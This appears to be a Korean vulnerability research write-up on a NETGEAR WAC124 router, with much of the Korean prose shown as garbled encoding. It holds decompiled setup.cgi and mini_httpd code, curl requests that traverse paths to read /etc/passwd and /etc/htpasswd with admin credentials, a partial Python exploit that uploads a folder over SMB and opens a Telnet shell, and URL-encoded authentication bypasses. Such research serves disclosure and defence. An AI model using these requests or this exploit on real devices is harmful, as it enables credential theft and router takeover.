'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/image/sso/BG-Image.png'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
์ด์ ์ฌ๊ธฐ์ ํ์ธํด๋ด์ผ ํ ๊ฒ์ ๋ ๊ฐ์ง ์ ๋๊ฐ ์์ต๋๋ค.
์ xml
ํ์ผ๋ค์ ์ถ๋ ฅ๋๊ณ png
์ jpg
ํ์ฅ์๋ ์ถ๋ ฅ๋์ง ์์๋ ๊ฑด์ง์ ๋ํด์์ ํ์ธ์ด ํ์ํฉ๋๋ค. ๊ทธ๋ฅ ํฌ๋์๊ฐ ๋ฌ๋๊ฑธ๊น์?
์ htm
, asp
, html
ํ์ฅ์๋ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ์ฌ์ฉ์๋ฅผ ๋ฆฌ๋ค์ด๋ ํธ ํ๊ณ ์๋๊ฑธ๊น์?
๋ค์ ๋๋์๊ฐ์ setup.cgi
ํ์ผ์ ์ฝ์ด๋ณด๋, main
ํจ์๊ฐ ์คํ๋ ๋๋ง๋ค html_parser
ํจ์๊ฐ next_file
ํ๋ผ๋ฏธํฐ๋ฅผ ๋ถ๋ฌ์ค๊ธฐ ์ ์ ํญ์ ํธ์ถ๋๊ณ ์์์ ์ ์ ์์์ต๋๋ค.
undefined4 main(undefined4 param_1,char **param_2)
{
...
pcVar1 = (char *)find_val(iVar8,"next_file");
if (pcVar1 == (char *)0x0) {
iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
if (iVar8 == 0) {
return 0;
}
(**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
(**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8);
(**(code **)(puVar10 + -0x7a9c))(iVar8);
return 0;
}
...
LAB_00405d08:
html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
return 0;
}
html_parser
ํจ์๋ฅผ ๋ค์ ํ์ธํด๋ณด๋ฉด next_file
์ ๊ฐ์ด .html
, .xml
or .html
๋ฑ์ ๊ฐ์ด path์ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํฉ๋๋ค. ์ฌ๊ธฐ์ ํ์ง๋ง strstr
ํจ์๋ฅผ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ "ํด๋น ํ์ฅ์๋ก ๋๋๋ ํ์ผ๋ช
์ธ๊ฐ?"๊ฐ ์๋ "ํด๋น ํ์ฅ์๊ฐ ํ์ผ path์ ์กด์ฌํ๋๊ฐ?"๋ผ๋ ์๋ฏธ๊ฐ ๋๋ฏ๋ก, ์ถํ ์ด ์ ์ ์ด์ฉํด ๊ณต๊ฒฉ์ ํธ๋ฆฌ๊ฑฐ ํฉ๋๋ค.
undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
char **ppcVar1;
int debug_fp;
int fp;
char *tmp;
FILE *log_fp;
undefined4 ret;
char **ppcVar2;
char acStack131120 [65536];
char buf [65544];
...
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
if (fp < 0) {
fprintf(stdout,"Can\'t open file %s",filename);
ret = 0xffffffff;
}
else {
read(fp,buf,0xffff);
close(fp);
tmp = strstr(filename,".xml");
if (tmp == (char *)0x0) {
tmp = "text/html";
}
else {
tmp = "text/xml; charset=utf-8";
}
mime_header(tmp);
if (*filename == 'h') {
fputs(buf,stdout);
ret = 0;
}
...
๊ทธ๋ฌ๋ ์ฒ์ ๋ช ๋ฒ์ ์๋์์ ์ ์ ์๋ฏ์ด, asp
, html
๊ณผ htm
ํ์ฅ์์ ๊ฒฝ์ฐ ํด๋น ๋ฃจํด์ ํต๊ณผํ์ง ์์์ ํ์ธํ ์ ์์ต๋๋ค.
๋์ค์ ํ์ธํด๋ณด๋ ์ค์ ์๋์ ๋ผ์ฐํฐ์ HTTP ๋ฐ๋ชฌ์ธ mini_httpd
๊ฐ ์์ธ์ด์์์ ์ ์ ์์์ต๋๋ค. ๋ํ, .png
๋ฑ์ ํ์ผ ์ฒ๋ฆฌ๋ ์ฌ์ค setup.cgi
์ ๋๋ฌํ๊ธฐ ์ ์ ๋ฐ๋ชฌ์ ์ํฅ์ ์ด๋์ ๋ ๋ฐ๊ณ ์๋ ๊ฒ์ ์ถ์ธกํ ์ ์์์ต๋๋ค.
์ด ์์ ์์ ์ด๋ฏธ .xml
ํ์ฅ์ ์ฒ๋ฆฌ๊ฐ ์ ์์ ์ผ๋ก ๋์ํ๊ณ ์๊ณ path traversal ์ฐํ๊ฐ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ์ถ๊ฐ์ ์ธ ์กฐ์ฌ๋ ํ์ง ์๊ธฐ๋ก ํ์์ต๋๋ค. ์ด์ ๋ค์์ ๋ฌด์์ ํด์ผํ ๊น์?
์ด์ ๋ค์ html_parser
ํจ์๋ฅผ ๋ค์ ์ฝ์ด๋ณด๋๋ก ํฉ์๋ค.
tmp = strstr(filename,".htm");
if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
(tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
return 0xffffffff;
}
fp = open(filename,0);
ํ์ผ ํ์ฅ์ ์ฒดํฌ๋ฅผ ์ํด strstr
ํจ์๋ฅผ ํตํด ๋น๊ตํ๋ ๊ฒ์ ์ ์ ์์ต๋๋ค. ์ด ๋ง์ ์ฆ ์ฃผ์ด์ง ํ์ผ๋ช
์ค์ ํ์ผ ํ์ฅ์๊ฐ ์๋์ง๋ฅผ ํ์ธํ๋ค๋ ์๋ฏธ๊ฒ ์ง๋ง, ๋์์ ํ์ผ ๊ฒฝ๋ก๊ฐ ๋ฌด์กฐ๊ฑด ์ฃผ์ด์ง ํ์ฅ์๋ก ๋๋์ผ ํ๋ค๋ ๋ง์ด ์๋๊ฒ ๋ฉ๋๋ค.
์ด๋ง์ ์ฆ path/to/file/blah.xml/1234
์ ๊ฐ์ ํ์ผ๊ณผ path/test.xml.asdf
์ ๊ฐ์ ํ์ผ๋ค์ ๋ง์ฐฌ๊ฐ์ง๋ก ์ ํจํ ๊ฒฝ๋ก๋ก ์ทจ๊ธ๋๋ค๋ ๋ง์
๋๋ค.
์ด์ ์ฐ๋ฆฌ๊ฐ ํ ์ ์๋ ๊ฒ์ valid_folder.xml
์ ๊ฐ์ ํด๋๋ฅผ ์์ฑํ์ฌ Path Traversal์ ํตํด ํด๋น ํด๋๊ฐ ์์นํ ๊ณณ์ผ๋ก ์ด๋ํ ๋ค์ ๋ค์ Path Traversal์ ํ์ฌ ์์์ ํ์ผ์ ์ฝ์ด๋ด๋ ๊ฒ์
๋๋ค.
๋จ์ ๋ฌธ์ ๋ .xml
์ด๋ผ๋ ๊ฐ์ด ๋ค์ด๊ฐ ํด๋๋ฅผ ๋ง๋๋ ๊ฒ์ธ๋ฐ, ์์ ์ด๋ฐ์ ์ธ๊ธํ๋ฏ์ด ์ด ๋ผ์ฐํฐ์๋ USB ํด๋๊ฐ ์์ต๋๋ค. (!!) ์ด์ USB์ evil.xml
์ด๋ผ๋ ํด๋๋ฅผ ๋ง๋ ๋ค์, ๋ผ์ฐํฐ์ USB๋ฅผ ๊ผฝ์ผ๋ฉด ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๊ฒ ๋ฉ๋๋ค.
PS F:\> tree f v /F
F:\
โโevil.xml
์ด์ด์ ๋ผ์ฐํฐ์ ๋ง์ดํธ๋ USB ๋๋ผ์ด๋ธ์ ์ ํํ ์์น๋ฅผ ํ์ธํด์ผํ๋๋ฐ, ๋ง์ดํธ๋ USB ๋๋ผ์ด๋ธ์ ์์น๋ setup.cgi
๋ฑ์ ํ์ผ์ ํ์ธํด๋ณด๋ฉด /mnt/shares/%c
๋ก ์ค์ ๋จ์ ์ ์ ์์ต๋๋ค.
์์ ์์ ํ ๋ด์ฉ์ ์ ๋ถ ํ์ฉํ์ฌ ๋๋ผ์ด๋ธ๋ฅผ ๋ธ๋ฃจํธํฌ์ค ํ๋ ๊ณผ์ ์ ์งํํ๋ฉด ...
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'
...
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'
root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh
$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'
admin:Test1234
๋ฑ ๊น๋ํ๊ฒ ํ์ผ์ ์ถ์ถํด๋ผ ์ ์์ต๋๋ค. ์ด์ ๊ด๋ฆฌ์ ์ธ์ฆ ์ ๋ณด๋ฅผ ์ป์ ์ ์์ต๋๋ค. ์ด ์ ๋ณด๋ฅผ ํตํด ๋ก๊ทธ์ธ์ ํ์ฌ ๊ด๋ฆฌ์ ์ฝ์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ด์ ๊ด๋ฆฌ์๋ก ๋ก๊ทธ์ธํ์ฌ ๋๋ฒ๊น ํ์ด์ง์์ Telnet์ ํ์ฑํ ํ๊ณ ์์ ํ์ฑํ ์ํค๋ฉด ๋ฉ๋๋ค.
์ง๊ธ๊น์ง ๋ฐ๊ฒฌํ ์ทจ์ฝ์ ์ ํ์ฉํ๋ฉด USB ๋๋ผ์ด๋ธ๋ฅผ ํตํด ์์คํ ์์ ์ทจ๋ํ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์๋ USB ๋๋ผ์ด๋ธ ๋์ SMB ์๋ฒ๊ฐ ์ธ์ฆ ์์ด ์ด๋ ค์๋ค๋ ์ ์ ํ์ PoC๋ฅผ ์์ฑํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ํด๋น ๋ผ์ฐํฐ์ ๊ฒฝ์ฐ USB ๋๋ผ์ด๋ธ๊ฐ ๊ผฝํ์์ผ๋ฉด SMB๋ ๊ฐ์ด ์ด๋ฆฌ๊ฒ ๋๋ฏ๋ก, ๊ณต๊ฒฉ์๊ฐ ๊ตณ์ด USB๋ฅผ ๊ผฝ์ ์ ์๋ ์ํฉ์ด ์๋๋๋ผ๋ SMB๋ฅผ ํตํ ๊ณต๊ฒฉ๋ ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ฆ๋ช ํ๊ธฐ ์ํจ์ ๋๋ค.
SMB๋ฅผ ํตํ ๊ณต๊ฒฉ๋ ๋ง์ฐฌ๊ฐ์ง๋ก SMB๋ก ์ ๊ทผํ ๋ค์ exploit.xml๊ณผ ๊ฐ์ ํด๋๋ฅผ ์ถ๊ฐํ๋ ๊ฒ์ผ๋ก ๊ณต๊ฒฉ์ ๋ฌ์ฑํ ์ ์๊ณ , ์ด๋ฅผ ํตํด admin์ ๊ณ์ ์ ๋ณด๋ฅผ ํ์ทจํ์ฌ ์์ ์ทจ๋ํ ์ ์์ต๋๋ค.
์ธํฐ๋ท์ ์ต์คํ๋ก์์ด ์ฌ๊ธฐ์ ๊ธฐ ๋์๋ค๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํ์ฌ, ์ค์ ์ต์คํ๋ก์์์ ์ผ๋ถ ์ฝ๋๋ฅผ ์ ๊ฑฐ ํ์์ต๋๋ค. ํ์ง๋ง ์ด ๊ธฐ์ฌ๋ฅผ ์ ๋๋ก ์ฝ๊ณ ๊ณ์ ๋ค๋ฉด ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์์ฑํ๋ ๊ฒ์ ํฌ๊ฒ ์ด๋ ต์ง ์์ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
def smb_upload_folder():
"""
Upload xml file via SMB
"""
anonymous_smb_and_upload("exploit.xml")
def perform_path_traversal():
"""
Performs the path traversal attack in three steps
1. Perform a path traversal to check if the bug works
2. Do SMB bruteforce to leak /etc/passwd
- 00492900 ... "/tmp/mnt/shares/%c/%s"
- We just need to bruteforce from A ~ Z
3. Leak remaining important files
"""
found_char = None
for _char in string.ascii_uppercase:
payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
result = try_path_traversal(payload)
# check if /etc/passwd is leaked
if "root::0:0:root:/:/bin/sh" in resp:
print("[.] Successfully leaked /etc/passwd!")
print(resp)
found_char = guess_char
break
if not found_char:
print("[!] Failed to exploit..")
return False
# Leak /etc/htpasswd
payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
result = try_path_traversal(payload)
print(f"[.] Successfully leaked /etc/htpasswd!")
print(result)
return result
def login(username, password):
"""
Login with username and password
"""
return session
def enable_debug_mode(session):
"""
Access debug.htm to enable debug mode
"""
return True
def trigger_shell(htpasswd):
"""
Use the /etc/htpasswd to login as admin.
After authentication, enable debug mode and get shell.
"""
username, password = htpasswd.strip().split(":")
admin_session = login(username, password)
enable_debug_mode(admin_session)
with Telnet('www.routerlogin.net', 23) as session:
session.read_until(b"login: ")
session.write(username.encode() + b"\n")
session.write(password.encode() + b"\n")
session.interact()
if __name__ == "__main__":
smb_upload_folder()
htpasswd = perform_path_traversal()
if htpasswd:
print("[.] Path Traversal Success! Let's get shell now..")
trigger_shell(htpasswd)
else:
print("[-] Failed..")
์ด ๊ณต๊ฒฉ์ ๋จ์ ์ USB๋ฑ์ ๊ผฝํ์๊ฑฐ๋ SMB ์๋ฒ๊ฐ ์ด๋ ค์๋ค๋ ์ ์ ์กฐ๊ฑด์ด ํ์ํฉ๋๋ค.
์์ง๊น์ง ์ต์ข ๋ชฉํ์ ๋๋ฌํ์ง ์์๊ธฐ ๋๋ฌธ์ HTTP ๋ฐ๋ชฌ ๋ฑ์ ์กฐ๊ธ ๋ ๋ถ์ํด๋ณด๊ธฐ๋ก ํ์์ต๋๋ค.
์์ ์ค๋ช
ํ '์์ ํ์ผ ์ฝ๊ธฐ' ๊ณผ์ ์์๋ ์ธ๊ธํ์์ง๋ง, ํ์ฅ์์ ๋ฐ๋ผ setup.cgi
๋ฅผ ํต๊ณผํ์ง ์๊ณ HTTP ๋ฐ๋ชฌ ๋ชจ๋์ธ mini_httpd
์์ ์ง์ ์ฒ๋ฆฌํ๋ค๊ณ ์ธ๊ธ์ ํ์๋๋ฐ์.
ํฅ๋ฏธ๋กญ๊ฒ๋ ์ด mini_httpd
๋ผ๋ ํ์ผ์ ACME์ mini_httpd ํ๋ก์ ํธ๋ฅผ ์ปค์คํฐ๋ง์ด์ง ํ ๊ฒ์ผ๋ก ํ์ธํ์์ต๋๋ค.
์ํ๊น๊ฒ๋ ์ปค์คํฐ๋ง์ด์ง ๋ ๋น๋์ ์ค๋ฆฌ์ง๋ ๋น๋๋ฅผ diff ํด๋ณด๋ ์ ์ฌ๋๊ฐ ๋ฎ๊ณ ๋ค๋ฅธ ์ ์ด ๋๋ฌด ๋ง์๊ธฐ์ ๊ณต์ ์ฝ๋๋ฅผ ๊ตณ์ด ์ฝ๊ฑฐ๋ ํ์ง๋ ์์์ต๋๋ค.
mini_httpd
๋ฅผ ๋ฏ์ด์ ํ์ฐธ ์ฝ๋๋ฅผ ์ฝ๋ค๋ณด๋ path_exist
๋ผ๋ ํจ์์ ๋ช๊ฐ์ง ์ฌ๋ฏธ๋ ์ฒดํฌ ๊ณผ์ ์ด ์์์ ํ์ธํ ์ ์์์ต๋๋ค.
uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
char *needle;
int iVar1;
char *pcVar2;
char bufPath [1024];
char *tmp;
...
needle = strstr(requested_path,".gif");
if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
&& (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
(((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
(needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
(needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
return 0;
}
needle = strstr(requested_path,".htm");
if (needle != (char *)0x0) {
return 0;
}
needle = strstr(requested_path,"html");
if (needle == (char *)0x0) {
...
needle = strstr(requested_path,"todo=");
if (needle != (char *)0x0) {
return 0;
}
...
memset(bufPath,0,0x400);
strncpy(bufPath,requested_path,0x3ff);
iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
if (iVar1 == 0) {
needle = strstr(bufPath,"next_file=");
if (needle == (char *)0x0) {
return 1;
}
pcVar2 = strchr(needle,0x26);
if (pcVar2 == (char *)0x0) {
return 1;
}
...
*pcVar2 = '\0';
pcVar2 = strstr(needle,".gif");
if (pcVar2 != (char *)0x0) {
return 1;
}
...
pcVar2 = strstr(needle,".js");
if (pcVar2 != (char *)0x0) {
return 1;
}
pcVar2 = strstr(needle,".png");
}
else {
...
needle = strstr(bufPath,".xml");
if (needle != (char *)0x0) {
return 1;
}
pcVar2 = strstr(bufPath,".png");
needle = bufPath;
}
if (pcVar2 != (char *)0x0) {
return 1;
}
needle = strstr(needle,".jpg");
return (uint)(needle != (char *)0x0);
}
return 0;
}
์ธ๋ป ์ด ํจ์๋ฅผ ์ฝ์ด๋ณด๋ฉด ๋งค์ฐ ๋ณต์กํด๋ณด์ ๋๋ค. (...)
ํ์ง๋ง ํจ์์ ๊ด๋ จ๋ ์ฝ๋๋ ์ ๋ถ ์ฝ๋ค๋ณด๋ฉด, ์ด ์ฝ๋์ ์์ ์ ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์๊ฐ ํน์ ํ์ผ ํ์ฅ์์๊ฒ๋ง ์ ๊ทผํ ์ ์๋๋ก ํ๋ ๊ฒ์ด ์ ๋ถ์์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก path_exist
ํจ์๊ฐ ํํ๋ ๊ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
path์ .htm
, .html
๋ .asp
๋ฑ์ ๊ฐ์ด ํฌํจ๋์ง ์๋์ง๋ฅผ ํ์ธํฉ๋๋ค.
๊ฒฝ๋ก์ ์ํํ ๊ฐ(todo=
์ ๊ฐ์ด ์๊ธฐ์น ๋ชปํ ๋์์ ์ผ์ผํค๋ ํ๋ผ๋ฏธํฐ ๋ฑ)์ด ๋ค์ด๊ฐ์ง ์๋์ง ๋ฑ์ ํ์ธํฉ๋๋ค.
todo=
์ ๊ฒฝ์ฐ ๊ด๋ฆฌ์ ๊ธฐ๋ฅ์ ์ค์ ํ๋๋ฐ ์ฒ๋ฆฌ๋๋ ํ์์ ์ธ ํ๋ผ๋ฏธํฐ์ด๋ฏ๋ก ํด๋น ํ๋ผ๋ฏธํฐ๋ถํฐ ์ฐํํ๋ ๊ณผ์ ์ ์งํํ๊ธฐ๋ก ํ์์ต๋๋ค.
์์ ์์ฑํ๋ ํ์ด๋ก๋๋ฅผ ๋ค์ ํ์ธํด๋ด ๋๋ค.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
์ด์ ์ฌ๊ธฐ์ ํ๋ผ๋ฏธํฐ ์ด๋ฆ์์ next_file
์ e
๋ฅผ %65
๋ก ๋ณ๊ฒฝํ๋ฉด ์ด๋ป๊ฒ ๋๋์ง ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
์ฟผ๋ฆฌ ์คํธ๋ง์ ์ธ์ฝ๋ฉ ๋์ด์๋ ๊ฒฝ์ฐ์๋ ์ ์์ ์ผ๋ก ์๋ํ๋ ๊ฒ์ ํ์ธํ ์ ์์์ต๋๋ค. ์ด๋ฅผ ํตํด ์ฟผ๋ฆฌ๋ฌธ์์ด ์ ์ฒด๊ฐ ๋ด๋ถ์์ ์์ฒด์ ์ผ๋ก ๋์ฝ๋ฉ๋์ด ์์์ ์ ์ ์์์ต๋๋ค.
์ด์ todo=
๋ฅผ ์ถ๊ฐํด๋ด
์๋ค.
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%
todo=
๋ ํํฐ๋ง์ด ๋๊ณ ์๊ธฐ ๋๋ฌธ์, ์๋ฒ๋ ๋ถ์ ํ request_path
๋ก ๊ฐ์ฃผํ์ฌ ์ฌ์ฉ์๋ฅผ ๋ก๊ทธ์ธ ํ์ด์ง๋ก ๋ฆฌ๋ค์ด๋ ํธ ํ๊ณ ์์ต๋๋ค.
์ด์ todo
ํ๋ผ๋ฏธํฐ์ ๊ฐ๋ d
๋ฅผ %64
๋ก ๋ณ๊ฒฝํ๋ฉด ์ด๋ป๊ฒ ๋ ๊น์?
$ curl -H 'User-Agent: Mozilla/5.0' \
'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>
<body onload="loadvalue();" onResize="change_size();">
<form onsubmit="return false">
<div id="top">
<iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
</div>
<div id="container" class="container_center">
<div id="middle">
<div id="menu">
<div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
<div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
<div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
<div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
<div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
<!--
<div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
<div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
<!--
<div id="guest" class="basic_button" style="display: none" onclick="click_action('guest');"><b><span languageCode = "470">Guest Network</span></b></div>
-->
<div id="turbovideo" class="basic_button" style="display: none" onclick="click_action('turbovideo');"><b><span languageCode = "3227">FastLane</span></b></div>
<div id="greendown" class="basic_button" style="display: none" onclick="click_action('greendown');"><b><span languageCode = "2038">NETGEAR Downloader</span></b></div>
</div>
<!--div id="mini_height"> </div-->
<div id="formframe_div">
<iframe name="formframe" id="formframe" allowtransparency="true" height="100%" width="100%" scrolling="no" frameborder="0" > </iframe>
</div>
<div id="footer" class="footer"> <img class="footer_img" src="image/footer/footer.gif">
<div id="support"> <b languageCode = "3057">HELP & SUPPORT</b> <a target="_blank" href=" http://www.netgear.com/support/product/WAC124.aspx#docs" languageCode = "489">Documentation</a> | <a target="_blank" href="http://www.netgear.com/support/product/WAC124.aspx" languageCode = "3241">Online Support</a> | <a target="_blank" href="https://www.netgear.com/support/product/WAC124.aspx#download" languageCode = "10809">Downloads</a> | <a target="_blank" href="https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL">GPL</a> </div>
<div id="search" align=right> <b languageCode = "3139">SEARCH HELP</b>
<input type="text" name="search" value="Enter Search Item" onKeyPress="detectEnter('num',event);" onFocus="this.select();" languageCode = "3042" >
<input id="search_button" class="search_button" type="button" name="dosearch" value="GO" onClick="do_search();" languageCode = "3055">
</div>
</div>
</div>
</div>
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>
์ ํํ ์์ธ์ ์ ์ ์์์ง๋ง, ์๋๋๋ก๋ผ๋ฉด next_file
์ ์๋ xml
ํ์ผ์ด ์ถ๋ ฅ๋์ด์ผ ํ๋๋ฐ todo
ํ๋ผ๋ฏธํฐ๋ฅผ ์ฐํํด์ URL ์ธ์ฝ๋ฉํ์ฌ ๋๊ฒจ์ฃผ๋ฉด ์ธ์ฆ๋ ์ฌ์ฉ์์๊ฒ๋ง ํ์๋์ด์ผ ํ index.htm
์ ๋ด์ฉ์ด ๋์ ์ถ๋ ฅ๋๋ ๊ฒ์ ์ ์ ์์์ต๋๋ค.
์ด ์์ ์์ ์ด ๋ฌธ์์ด ์ฒดํฌ๋ ์ถฉ๋ถํ ๋ฐ์ดํจ์ค ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์ ์ ์์๊ณ , ๋ํ ์๋ฒ์์ ์์์น ๋ชปํ ๋์์ด ์ผ์ด๋๊ณ ์๋ค๋ ๊ฒ๋ ์ ์ ์์์ต๋๋ค.
์ด์ ์ฟผ๋ฆฌ ๋ฌธ์์ด์ ์ํ ๋ฐ์ดํจ์ค ๊ฐ๋ฅ์ฑ์ ๋ฐ๊ฒฌํ ํ, curl๋ก HTTP ์์ฒญ์ ์ก์ ํ์ ๋ ๋ช ๊ฐ์ง ๊ธฐ๋ฌํ ๋์๋ ๋ฐ๊ฒฌํ์ต๋๋ค.
$ curl 'http://192.168.0.100/test' -v
* Trying 192.168.0.100...
* TCP_NODELAY set
* Connected to 192.168.0.100 (192.168.0.100) port 80 (#0)
> GET /test HTTP/1.1
> Host: 192.168.0.100
> User-Agent: curl/7.64.1
> Accept: */*
>
(null) 403 Forbidden
Server: mini_httpd/1.24 10May2016
Date: Tue, 07 Sep 2021 11:32:54 GMT
Cache-Control: no-cache,no-store
Content-Type: text/html; charset=%s
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1;mode=block
X-Content-Type-Options: nosniff
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<title>403 Forbidden</title>
</head>
<body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc">
<h4>403 Forbidden</h4>
Curl is forbidden
</BODY>
</HTML>
* Closing connection 0
์๋ต์ ์ฒซ ๋ฒ์งธ ์ค์ ์ฝ์ผ๋ฉด ๋ฆฌ์คํฐ์ค๋ก (null) 403 Forbidden
๋ก ์ถ๋ ฅ๋จ์ ์ ์ ์์ต๋๋ค.
์ด ์์ ์์ ์ด๋ฏธ ๋ ๊น๊ฒ ์๊ฐํ์ง๋ ์์๋๋ฐ, ์ด๋ mini_httpd
์ ์ฝ๋ ๋ฒ ์ด์ค์ ์๊ธฐ์น ๋ชปํ ๋์์ด ๋๋ฌด ๋ง์ ๊ทผ๋ณธ์ ์ธ ์์ธ์ RCA (Root Cause Analysis)๋ฅผ ํ๊ธฐ์ ๋ง์ ์๊ฐ์ด ๊ฑธ๋ ธ๊ธฐ ๋๋ฌธ์
๋๋ค. ์ง์ ๋ถ์์ ํ๋ ๋์ ์ธ์ฆ ์ฐํ๋ฅผ ํ ์ ์๋๋ก ๊ฐ๋จํ๊ฒ path ํผ์ ๋ฅผ ์์ฑํ์์ต๋๋ค.
์ดํ 20~30๋ถ ์ ๋ dumb fuzzer๋ฅผ ์คํํ๋ ์ธ์ฆ์ฐํ๋ฅผ ํ ์ ์๋ ํ์ด๋ก๋๋ฅผ ๊ตฌํ ์ ์์๊ณ , ์ด๋ฅผ ํตํด ์ฑ๊ณต์ ์ผ๋ก ์ธ์ฆ ์ฐํ๋ฅผ ํ ์ ์์์ต๋๋ค.
